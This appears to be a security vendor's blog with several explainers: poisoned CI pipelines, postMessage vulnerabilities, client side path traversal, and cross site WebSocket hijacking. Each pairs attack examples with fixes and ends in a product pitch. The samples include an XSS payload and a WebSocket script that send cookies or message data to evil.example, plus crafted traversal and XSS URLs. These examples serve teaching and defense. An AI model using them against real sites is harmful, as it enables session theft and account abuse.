• Isolate untrusted builds. Run PR builds on separate runners with no access to production credentials, no network egress to arbitrary hosts, and a clean environment. If a payload runs, it finds nothing worth stealing.
• Separate plan from privileged apply. For infrastructure, let untrusted PRs run a read only plan with no write credentials. Keep the apply step on a protected branch that only runs after merge and review. The dangerous permission never meets untrusted code.

These map to a single idea: untrusted code and real credentials should never share a job. Keep them apart and most poisoned pipeline execution simply has nowhere to land.

The assumption that breaks

Every pipeline makes a quiet assumption: that the code it runs was written by someone allowed to run it. A fork PR, an npm hook, a moved action tag all break that assumption while the secrets stay in place. The same logic shows up beyond CI, for example in Kubernetes service account token abuse, where a workload trusts a token it should never have reached. The bug is rarely in the tool. It is in who is trusted to decide what runs, and whether the credentials follow that decision. You find this kind of issue by asking what a system trusts and when, not by scanning for known bad strings. As an early signal we find encouraging, a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. Reasoning about trust boundaries is exactly what an autonomous researcher that tests assumptions is built to do. Read more on our about page.

Frequently asked questions

What is poisoned pipeline execution?

Poisoned pipeline execution is an attack where someone gets their own code to run inside a CI/CD pipeline that holds secrets and broad permissions. The attacker does not exploit a server or steal a password. They send a pull request, edit a script the build already runs, or change the pipeline file, and the pipeline executes it with its own deploy keys, signing keys, and cloud tokens. One step running attacker code can read every secret in the job environment and use every permission the job holds.

What are the three types of poisoned pipeline execution?

Direct, indirect, and public. Direct means the attacker edits the pipeline definition itself, for example a GitHub Actions workflow file, to add a malicious step. Indirect means they poison a script the pipeline runs but does not define inline, such as a Makefile target, a test config, or an npm postinstall hook. Public means an untrusted pull request from a fork triggers a privileged workflow, which is the most common case, often through the pull_request_target trigger running with repo secrets.

Why is the GitHub Actions pull_request_target trigger dangerous?

The pull_request trigger runs forked PR code without access to repo secrets, which is safe. The pull_request_target trigger runs with repo secrets in the context of the base repo. It exists for jobs that label PRs or post comments. The trap is checking out the PR branch and running its code while those secrets are present. An attacker opens a PR from a fork, the workflow checks out their branch and runs npm install or a build, and their code executes with full access to the secrets in that job.

How do you prevent poisoned pipeline execution?

Keep untrusted code and real credentials out of the same job. Do not combine pull_request_target with checkout of PR code and secrets, and use plain pull_request for anything that runs untrusted code. Require maintainer approval before fork workflows run. Give GITHUB_TOKEN least privilege, set read only by default and grant write per job. Pin actions by full commit SHA, not a movable tag. Isolate untrusted builds on runners with no production credentials and no arbitrary network egress. For infrastructure, separate a read only plan on PRs from a privileged apply that only runs after merge and review.

Put an autonomous researcher on your own systems

UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

The browser keeps origins apart for a reason. A page from https://app.acme.com cannot read the cookies or DOM of a page from https://pay.acme.com. The window.postMessage API exists to poke a small, controlled hole in that wall so windows or iframes from different origins can pass messages. Used carefully, it is fine. Used carelessly, it opens a class of postMessage vulnerabilities where any website can talk to your page, feed it data you trust, and turn that data into script execution or a privileged action.

How postMessage actually works

There are two sides. The sender calls postMessage on a reference to another window. The receiver listens for a message event. Here is the normal flow between a parent page and an iframe it embeds:

// Sender side, running in the parent page
const frame = document.getElementById('widget').contentWindow;
frame.postMessage({ type: 'setTheme', value: 'dark' }, 'https://widget.acme.com');

// Receiver side, running inside the iframe
window.addEventListener('message', (event) => {
  console.log('got', event.data, 'from', event.origin);
});

The event the receiver gets has three fields that matter. event.data is the payload. event.origin is the origin of the window that sent the message, set by the browser and not forgeable by the sender. event.source is a reference back to the sending window. Those last two exist so the receiver can decide whether to trust the message. The security model rests on the receiver actually using them.

The two classic postMessage vulnerabilities

Almost every real bug here comes from one of two mistakes, one on each side of the channel.

Mistake one: the receiver does not check event.origin

A message listener fires for messages from any origin. If you do not check event.origin, then any web page that can get a handle to your window can send it messages, and your listener will process them as if they came from a page you trust. Getting that handle is easy. If your page can be framed, the framing page already has a reference to it. If your page opens a popup, that popup gets window.opener.

Here is a listener that trusts everything and then does the worst possible thing with it:

// Vulnerable receiver: no origin check, writes straight to innerHTML
window.addEventListener('message', (event) => {
  document.getElementById('status').innerHTML = event.data;
});

An attacker frames your page, or opens it in a popup, and sends:

target.postMessage(
  '<img src=x onerror="fetch(\'https://evil.example/c?\'+document.cookie)">',
  '*'
);

Your page takes the string, drops it into innerHTML, the onerror handler runs, and the attacker has script execution in your origin. That is DOM based cross site scripting delivered over a message channel. The root cause is the same as any DOM XSS: untrusted input reaching a dangerous sink. If this pattern is new to you, the mechanics are laid out in our explainer on DOM based XSS. The only new wrinkle is that the source of the input is a cross origin message instead of the URL.

A message listener with no origin check is an open door with your origin’s name on it. The browser already told you who knocked. The bug is that you never looked.

Mistake two: the sender uses “*” as targetOrigin

The second argument to postMessage is targetOrigin. It tells the browser: only deliver this message if the receiving window’s origin matches. Passing "*" means deliver it to whatever is in that window, no matter who that is.

That is a leak in the other direction. Say your page sends a session token to a child frame:

// Leaky sender: ships a token to whoever happens to be in the frame
childFrame.postMessage({ token: userSessionToken }, '*');

If an attacker can influence what loads in that frame, by navigating it to their own page through an open redirect or a swapped src, your token is delivered straight to them. You meant to talk to https://widget.acme.com. You told the browser you did not care who was listening. Set the exact origin instead:

childFrame.postMessage({ token: userSessionToken }, 'https://widget.acme.com');

How a weak listener chains into worse

The innerHTML sink is the headline case, but the receiver does not have to write HTML to be in trouble. It depends on where event.data ends up.

• Into innerHTML, document.write, or insertAdjacentHTML: DOM XSS, as above.
• Into eval, Function, or setTimeout with a string: direct code execution.
• Into location, location.href, or window.open: open redirect. A message like { type: 'redirect', url: 'https://evil.example' } handled with location = event.data.url sends users wherever the attacker wants.
• Into a privileged action: if a message triggers “transfer funds” or “change email” with no origin check, any site that frames you can fire that action as the logged in user. That is the same shape as a cross site request forgery, over postMessage instead of a form submit.

People sometimes assume that a strict CORS policy protects them here. It does not. postMessage is a separate channel that ignores CORS entirely, so a backend locked down against cross origin reads can still feed a vulnerable front end listener. CORS has its own failure modes, covered in our writeup on CORS misconfiguration, but it is not the control that stops a bad message listener. The control is in the listener.

How to write a safe postMessage listener

The defenses are short and you want all of them, because each one closes a different gap.

• Check event.origin against an allowlist. Compare the full origin string exactly. Do not use indexOf or endsWith, because https://acme.com.evil.example would pass a sloppy endsWith('acme.com') check. Match the whole value.
• Validate the message shape. Confirm the data is the structure you expect before using any field. A known type, expected keys, correct types. Reject anything that does not fit.
• Never send message data to a dangerous sink. Use textContent instead of innerHTML. Never pass message data to eval or to location without validating it against an allowlist of paths.
• Set an explicit targetOrigin when sending. Always pass the exact origin string, never "*", for anything that is not strictly public.
• Verify event.source when it matters. If a message should only come from a specific frame you control, check that event.source is the window reference you expect, not just that the origin matches.

Here is the same listener from before, written defensively:

const ALLOWED = 'https://widget.acme.com';

window.addEventListener('message', (event) => {
  if (event.origin !== ALLOWED) return;            // exact origin match
  const msg = event.data;
  if (!msg || msg.type !== 'setStatus') return;    // validate shape
  if (typeof msg.text !== 'string') return;        // validate types
  document.getElementById('status').textContent = msg.text;  // safe sink
});

Three checks turn an open door into a narrow one. The message has to come from the right origin, look like the one message this handler accepts, and even then it only reaches textContent, which cannot execute script.

Why this bug hides so well

postMessage vulnerabilities rarely show up in normal testing because the happy path looks identical to the dangerous one. The widget loads, sends its message, the page updates, everything works. The missing event.origin check is invisible until someone different starts sending messages. A scanner that fires known payloads at form fields will not think to set up a hostile framing page and post a crafted message into your listener. Finding this means asking what the listener trusts, and testing whether a message from the wrong origin gets processed anyway.

That is the kind of assumption testing that separates real review from pattern matching. As an early and encouraging signal, a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. Reasoning about who is allowed to send a message, and what the receiver does with it, is exactly the work an autonomous researcher that tests assumptions is built for. Read more on our about page.

Frequently asked questions

What are postMessage vulnerabilities?

They are bugs in how a page uses the window.postMessage API for cross origin messaging. The two classic mistakes are a receiver that never checks event.origin, so any website can send it messages it will trust, and a sender that uses "*" as the targetOrigin, so data is delivered to whatever happens to be in the target window. Either one can leak data or, when the message data reaches a dangerous sink, lead to code execution.

How does a postMessage bug become DOM XSS?

A message listener that does not validate event.origin will process messages from any site. If that listener then writes event.data into a sink like innerHTML, eval, or document.write, an attacker can send a string such as <img src=x onerror=...> that runs script in your origin. The untrusted message data reaching a dangerous sink is the same root cause as any DOM based XSS, just delivered over the message channel instead of the URL.

Does a strict CORS policy protect against postMessage attacks?

No. postMessage is a separate browser channel that ignores CORS completely. A backend that blocks cross origin reads can still feed a front end message listener that has no origin check. CORS controls cross origin HTTP reads, not who can post a message into your window. The defense for postMessage lives in the listener: check event.origin against an allowlist, validate the message shape, and keep the data out of dangerous sinks.

How do you fix postMessage vulnerabilities?

Check event.origin against an exact allowlist, never with endsWith or substring matches. Validate the message shape and types before using any field. Never pass message data to innerHTML, eval, or location; prefer textContent. When sending, set an explicit targetOrigin instead of "*". And verify event.source is the window you expect when a message should only come from a specific frame.

Put an autonomous researcher on your own systems

UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

Most people learn path traversal as a server bug: you send ../../etc/passwd to a backend and it reads a file it should not. Client side path traversal moves that same trick into the browser. A front end builds an API path or a fetch URL out of input it does not control, and a few ../ sequences let an attacker point that request at a different endpoint than the developer intended. On its own it often looks harmless. The damage shows up when it chains.

What client side path traversal actually is

The setup is plain. A single page app takes a value, glues it onto a URL, and calls fetch. The value can be a path segment, an ID from the URL, or a field reflected from the server. If it contains ../, the browser normalizes the URL before the request leaves, and the final path is not the one the code wrote.

Here is the kind of code that does it:

// Front end builds the path from an id it does not validate
const id = getIdFromUrl();          // attacker controls this
fetch('/api/users/' + id + '/profile')
  .then(r => r.json())
  .then(render);

When id is a normal value like 42, the request goes to /api/users/42/profile. That is expected. Now set id to ../../admin/delete. The string the code builds is:

/api/users/../../admin/delete/profile

The browser does not send that literally. It resolves the ../ segments the same way it resolves any relative URL, walking up the path. The request that actually leaves the browser is:

GET /admin/delete/profile

The developer wrote a read of a user profile. The browser sent a call to an admin endpoint. Nothing looks unusual on the server, because the request arrives as a normal same origin call from the real app, with the real session cookie attached.

Why the browser turns it into a different path

This is not a quirk of fetch. It is how URL resolution works. A browser treats . and .. as path operations, not as text: . means the current directory, .. means go up one. When a URL contains those, the browser collapses them before the network call. The URL constructor does the same:

new URL('/api/users/../../admin/delete/profile', location.origin).pathname
// => "/admin/delete/profile"

So the bug is a mismatch. The code thinks it is pasting a value into a fixed slot. The browser reads a path full of navigation. The attacker controls the value, so the attacker controls where it lands.

How client side path traversal differs from the server side bug

The shapes rhyme but the location and the impact differ. With classic server side path traversal, the attacker reaches the file system through a backend that opens a path. If that is the bug you are chasing, start with what is path traversal, which covers the server case in full.

• Where it runs. Server side path traversal happens in backend code that opens files or paths. Client side path traversal happens in the browser, in JavaScript that builds a request URL.
• What it reaches. The server bug usually reaches files on disk. The client bug reaches other HTTP endpoints of the same app, using the victim’s own session.
• Who carries the request. In the client case the victim’s browser sends the request, with cookies, same origin, so server side origin checks see a trusted caller.
• Why it matters. A standalone redirected fetch may just return data the user could already see. The value is that it puts an attacker chosen endpoint inside a trusted request, which is the start of a chain.

The browser does exactly what it was told. It resolves .. in a path the same way every time. The flaw is that the developer never meant that string to be a path at all.

Why it is dangerous: the chaining angle

Client side path traversal is rarely the whole attack. It is the primitive that lets a second bug fire from a trusted spot. Three common chains:

Reaching a state changing endpoint (CSPT to CSRF)

Say the app skips CSRF protection on same origin calls because it assumes the front end only ever calls safe URLs. An attacker who controls a path segment can steer a fetch to a POST or DELETE route. A harmless GET that the app fires automatically becomes a request against /api/account/delete or /api/roles/add, sent by the victim, with the victim’s cookies. That is CSRF reached through a path the server trusted.

Turning a response into script (CSPT to XSS)

If the app takes the response of that fetch and writes it into the page, an attacker who can redirect the fetch to an endpoint that reflects input, or to an endpoint they control, can feed back markup or script. The front end then renders attacker chosen content. That is the bridge from a redirected request to DOM based XSS, where the sink is the app writing an untrusted response into the DOM.

Fetching attacker controlled data

If traversal lets the path escape into a route that proxies or echoes external data, the app ends up trusting bytes the attacker picked, and that response drives whatever the front end does next.

The pattern is the same across all three. The traversal does not break the server by itself. It quietly changes the target of a request the app already trusts, and the real payload rides the second bug.

A worked example

Picture a notes app called Acme Notes. The front end loads a note by ID from the URL fragment:

// URL: https://acme.example/#/notes/42
const noteId = location.hash.split('/').pop();   // "42"
fetch('/api/notes/' + noteId)
  .then(r => r.text())
  .then(html => { document.querySelector('#note').innerHTML = html; });

An attacker sends a victim a link with a crafted fragment:

https://acme.example/#/notes/..%2f..%2fsearch%3fq%3d<img src=x onerror=alert(1)>

The fragment decodes, the path collapses, and the fetch hits the search endpoint, which reflects the query back. The app writes that response straight into innerHTML. The redirected fetch supplied the wrong endpoint; the innerHTML sink supplied the XSS. Two small mistakes, one real bug.

Defenses that actually close it

The root cause is building a path out of raw input. Fix that and the chains lose their entry point.

• Validate every path segment. If an ID should be a number, check that it is digits only before it touches a URL. Reject anything with ., /, or encoded forms like %2e and %2f.
• Allowlist IDs where you can. If the value should be one of a known set, compare against that set instead of trusting the string.
• Encode the segment. Run untrusted values through encodeURIComponent so a / becomes %2F and a . stays literal, which stops the browser from reading them as path operations.
• Do not build paths from raw input. Prefer a safe URL builder or a fixed route with the value passed as a query parameter or in the body, not splice into the path. new URLSearchParams keeps values out of the path entirely.
• Defend the server too. Keep CSRF protection on state changing routes and never assume a same origin request is safe. Encode any response before it reaches a DOM sink so a redirected fetch cannot become script.

Here is the same Acme Notes call, fixed:

const noteId = location.hash.split('/').pop();
if (!/^[0-9]+$/.test(noteId)) throw new Error('bad id');
fetch('/api/notes/' + encodeURIComponent(noteId))
  .then(r => r.text())
  .then(text => { document.querySelector('#note').textContent = text; });

The ID is checked, the value is encoded, and the response goes to textContent instead of innerHTML. The traversal cannot form, and even if a stray response slipped through, it would not run as script.

The assumption that breaks

Client side path traversal exists because a front end assumes the value it pastes into a URL is data, while the browser reads it as a path. That gap is invisible to a scanner looking for known payloads, because the bug only matters once you understand what the app meant the request to do and then ask what else that request could reach. This is exactly the kind of bug an autonomous researcher that tests assumptions is built to find. As an early, encouraging signal: a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. Reasoning about where a request really goes, not matching strings, is the work. Read more on our about page.

Frequently asked questions

What is client side path traversal?

It is a browser bug where a front end builds an API path or fetch URL from input it does not control, and ../ sequences let an attacker redirect the request to a different endpoint than intended. For example, code that calls fetch('/api/users/' + id + '/profile') with id set to ../../admin/delete ends up requesting /admin/delete/profile, because the browser normalizes the path before sending it. It lives in JavaScript in the browser, not in backend file handling.

How is it different from server side path traversal?

Server side path traversal happens in backend code that opens a file or path, and it usually reaches files on disk. Client side path traversal happens in the browser, in code that builds a request URL, and it reaches other HTTP endpoints of the same app. The client version uses the victim’s own browser and session cookies, so the redirected request arrives looking like a trusted same origin call.

Why is client side path traversal dangerous if it is low impact alone?

On its own a redirected fetch may just return data the user could already see. It matters because it chains. It can reach a state changing endpoint and become CSRF, it can feed an attacker chosen response into a DOM sink and become DOM based XSS, or it can pull in attacker controlled data the app then trusts. The traversal supplies the wrong target, and the second bug supplies the payload.

How do you prevent client side path traversal?

Validate every path segment so an ID is digits only and reject ., /, and encoded forms like %2e and %2f. Allowlist IDs when the set is known. Run untrusted values through encodeURIComponent so a slash cannot act as a path separator. Avoid splicing raw input into a path at all; pass it as a query parameter or in the body. Keep CSRF protection on the server and encode responses before they reach a DOM sink.

Put an autonomous researcher on your own systems

UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

You log in to a chat app in one tab. In another tab you open a random page someone sent you. That page quietly opens a WebSocket back to your chat app, your session cookie rides along, and now the attacker’s page is reading your messages in real time. This is cross site WebSocket hijacking, and it works because the WebSocket handshake is an HTTP request that carries your cookies but is not stopped by the Same Origin Policy and usually has no CSRF token. The login was yours. The socket is theirs.

How a WebSocket connection actually starts

A WebSocket does not begin as a raw socket. It begins as a normal HTTP GET request that asks the server to switch protocols. The browser sends an upgrade request, the server agrees, and from that point the same TCP connection carries WebSocket frames instead of HTTP. Here is what the handshake looks like on the wire:

GET /chat/socket HTTP/1.1
Host: app.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://app.example.com
Cookie: session=eyJ1c2VyIjoiYWxpY2UifQ

The two lines that matter are Origin and Cookie. The Origin header says which site asked for the connection. The Cookie header is your session, attached by the browser the same way it attaches cookies to any request to that host. The server reads the cookie, sees a logged in user, and upgrades the connection. If it never checks Origin, it has no idea the request came from a page it does not own.

Why cross site WebSocket hijacking gets past the Same Origin Policy

The Same Origin Policy usually stops one site from reading another site’s data. When a page makes a fetch to a different origin, the browser may send the request, but it will not let the calling page read the response unless CORS headers allow it. That read block protects most cross origin data. If you have seen CORS misconfiguration, you know how careful sites have to be about which origins can read responses.

WebSockets do not play by those rules. The WebSocket constructor is not subject to the Same Origin Policy the way fetch is, so any page can open a WebSocket to any host:

// Runs on https://evil.example, talks to the victim's app
const ws = new WebSocket("wss://app.example.com/chat/socket");

ws.onmessage = (event) => {
  // The attacker's page reads every message the app sends
  fetch("https://evil.example/collect", {
    method: "POST",
    body: event.data
  });
};

ws.onopen = () => {
  // And can send messages as the victim
  ws.send(JSON.stringify({ type: "say", text: "transfer approved" }));
};

Because the browser attaches the victim’s cookie to that handshake, the server treats the connection as the logged in user. And because there is no CORS style read restriction on an open WebSocket, the attacker’s page can read every frame the server sends and write frames back.

Cross site WebSocket hijacking is the CSRF of WebSockets. The browser sends your session, the server trusts it, and the only thing that should have stopped the request, an origin check or a token, was never there.

Why this is the CSRF of WebSockets

If you know CSRF, you know the shape of this bug. In a classic CSRF the attacker’s page makes the browser send a state changing request to a site you are logged in to, and the browser attaches your cookie automatically. The defense is a CSRF token: a secret the attacker cannot read or guess, required on the request.

The WebSocket handshake has the same weakness, and most handshakes have no token at all. CSRF on a form submit is a one way write. Cross site WebSocket hijacking opens a two way channel, so the attacker can both send actions as you and read the replies. It is CSRF plus a live data leak.

A concrete example

Say the app is a trading dashboard. The front end opens wss://trade.example.com/stream to receive live order updates and to place orders, and the server authenticates the socket purely from the session cookie. An attacker sends the user a link to a normal looking page. When it loads, its script opens the same WebSocket URL, the browser sends the user’s cookie, and the server upgrades the connection. Now the attacker’s page receives the live order feed, including balances and positions, and forwards each message to an attacker server. It can also send { "action": "place_order", ... } frames that the server runs as the victim. The user sees nothing: no popup, no redirect, just a page that opened a socket in the background.

How to detect it

You can find this without guesswork. Look at how the handshake is checked, not at what the app does after.

• Find the WebSocket endpoints. Look for wss:// or ws:// URLs in the front end, and server routes that handle an Upgrade: websocket request.
• Replay the handshake with a foreign Origin. Resend a working handshake with the cookie kept but Origin changed to https://evil.example. If it still upgrades and you receive authenticated messages, the server is not validating the origin, and a cross origin read is a confirmed finding.
• Check for a token. See whether the handshake carries any unguessable value the attacker could not get, such as a CSRF token. If the only credential is the cookie, the endpoint is exposed.

How to fix it

No single header is enough on its own, so use more than one of these.

• Validate the Origin header on the server. During the upgrade, check that Origin is in an allow list of your own domains and reject anything else. The browser sets Origin and a page cannot forge it, so this stops the cross origin handshake. Do not match with a loose substring like endsWith("example.com"), since app.example.com.evil.com would pass.
• Require a CSRF style token in the handshake. Issue a per session token the attacker’s page cannot read, and require it as a query parameter or first message before the socket is authenticated. This is the same defense that protects forms, applied to the upgrade request.
• Do not rely on the cookie alone. Authenticate the connection with a per connection token, such as a short lived ticket the client fetches over an authenticated HTTP call and passes when opening the socket. A cookie is sent automatically by the browser. A token in the URL is not, so the cross origin page never has it.
• Set SameSite on the session cookie. A cookie marked SameSite=Lax or SameSite=Strict is not attached to requests started from another site, which removes the credential the attack depends on. Treat it as an extra layer, not the only one, since cookie behavior varies across setups.

Here is the origin check at the upgrade:

const ALLOWED = new Set(["https://app.example.com"]);

server.on("upgrade", (req, socket, head) => {
  if (!ALLOWED.has(req.headers.origin)) {
    socket.write("HTTP/1.1 403 Forbidden\r\n\r\n");
    socket.destroy();
    return;
  }
  // continue the WebSocket handshake
});

The assumption that breaks

Strip away the frames and one assumption is left. The server assumes a handshake carrying a valid session cookie came from its own front end. That holds only when something proves the origin, an origin check or a token the attacker cannot get. The moment the only credential is a cookie the browser attaches for you, any page can open the socket and speak as you. This is the kind of bug you find by asking what a connection trusts and whether anything outside the app can supply it. An early signal we find encouraging: a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. Reasoning about what a request really proves, rather than matching known bad strings, is what an autonomous researcher that tests assumptions is built to do. Read more on our about page.

Frequently asked questions

What is cross site WebSocket hijacking?

It is an attack where a malicious page opens a WebSocket to an app you are logged in to and speaks as you. The WebSocket handshake is an HTTP upgrade request, so the browser attaches your session cookie to it automatically. If the server authenticates the connection from that cookie alone and does not check the origin, the attacker’s page can read every message the server sends and send messages back as you. It is a two way channel, so it can both leak your data and trigger actions on your account.

Why does the Same Origin Policy not block it?

The Same Origin Policy mainly stops a page from reading a cross origin HTTP response unless CORS allows it. WebSockets are not subject to that read restriction. The WebSocket constructor can open a connection to any host, the browser still attaches the victim’s cookie to the handshake, and once the socket is open the attacker’s page can read and write frames freely. The protection that blocks cross origin reads over HTTP simply is not applied to an open WebSocket.

How is cross site WebSocket hijacking related to CSRF?

It is the same root cause as CSRF. The attacker’s page makes the browser send a cookie carrying request to a site you are logged in to, and the server trusts the cookie. The defense is also the same: a token the attacker cannot read or guess. The difference is that most WebSocket handshakes carry no token at all, and a WebSocket is two way, so the attacker can read the replies as well as send actions. CSRF is a one way write, while this is CSRF plus a live data leak.

How do you prevent cross site WebSocket hijacking?

Use more than one defense. Validate the Origin header on the server during the upgrade against an allow list of your own domains, and reject anything else. Require a CSRF style token or a short lived per connection token in the handshake so the cross origin page cannot supply it, and do not rely on the cookie alone. Mark the session cookie SameSite=Lax or SameSite=Strict so it is not attached to requests started from another site. Avoid loose origin matching like a substring check, since app.example.com.evil.com would pass.

Put an autonomous researcher on your own systems

UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.